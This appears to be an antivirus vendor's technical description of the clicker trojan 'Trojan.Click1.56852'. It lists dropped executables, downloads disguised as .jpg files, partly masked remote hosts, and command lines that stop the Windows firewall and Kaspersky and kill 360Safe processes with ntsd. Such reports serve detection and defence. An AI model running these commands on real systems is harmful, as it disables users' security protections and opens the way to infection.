Trojan.Click1.56852

Technical Information

Malicious functions:

Creates and executes the following:

%PROGRAM_FILES%\Internet Explorer\IEXPLOREG.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\IEXPLOREF.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\IEXPLOREH.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\ad7731.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\dodolook507.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\IEXPLOREB.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\IEXPLOREA.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\IEXPLOREC.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\IEXPLOREE.exe (downloaded from the Internet)
%PROGRAM_FILES%\Internet Explorer\IEXPLORED.exe (downloaded from the Internet)

Executes the following:

<SYSTEM32>\net1.exe stop sharedaccess
<SYSTEM32>\net1.exe stop KAVStart
%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://ho###i.8866.org/zhen2/user.asp?us############################################################################
<SYSTEM32>\net.exe stop KAVStart
<SYSTEM32>\ntsd.exe -c q -pn 360Safe.exe
<SYSTEM32>\net.exe stop sharedaccess
<SYSTEM32>\ntsd.exe -c q -pn 360tray.exe

Modifies file system :

Creates the following files:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\ma8[1].jpg
%PROGRAM_FILES%\Internet Explorer\IEXPLOREH.exe
%PROGRAM_FILES%\Internet Explorer\IEXPLOREG.exe
%PROGRAM_FILES%\Internet Explorer\IEXPLOREF.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\SL6TKFAX\ma7[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\dodolook507[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\SL6TKFAX\uu[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\user[1].asp
%PROGRAM_FILES%\Internet Explorer\ad7731.exe
%PROGRAM_FILES%\Internet Explorer\dodolook507.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\ULU3YH2D\ad7731[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\ULU3YH2D\ma6[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\ULU3YH2D\ma2[1].jpg
%PROGRAM_FILES%\Internet Explorer\IEXPLOREB.exe
%PROGRAM_FILES%\Internet Explorer\IEXPLOREA.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\hou2[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\ma1[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\SL6TKFAX\ma3[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\ma5[1].jpg
%PROGRAM_FILES%\Internet Explorer\IEXPLOREE.exe
%PROGRAM_FILES%\Internet Explorer\IEXPLORED.exe
%PROGRAM_FILES%\Internet Explorer\IEXPLOREC.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\ma4[1].jpg

Deletes the following files:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\user[1].asp

Network activity:

Connects to:

'localhost':1040
'ho###i.8866.org':80
'localhost':1037
'www.gx##s.cn':80

TCP:

HTTP GET requests:

www.gx##s.cn/ad/dodolook507.jpg
www.gx##s.cn/ad/ma8.jpg
www.gx##s.cn/ad/ma7.jpg
ho###i.8866.org/zhen2/user.asp?us############################################################################
www.gx##s.cn/ad/uu.jpg
www.gx##s.cn/ad/ad7731.jpg
www.gx##s.cn/ad/ma6.jpg
www.gx##s.cn/ad/ma2.jpg
www.gx##s.cn/ad/ma1.jpg
www.gx##s.cn/ad/hou2.jpg
www.gx##s.cn/ad/ma5.jpg
www.gx##s.cn/ad/ma4.jpg
www.gx##s.cn/ad/ma3.jpg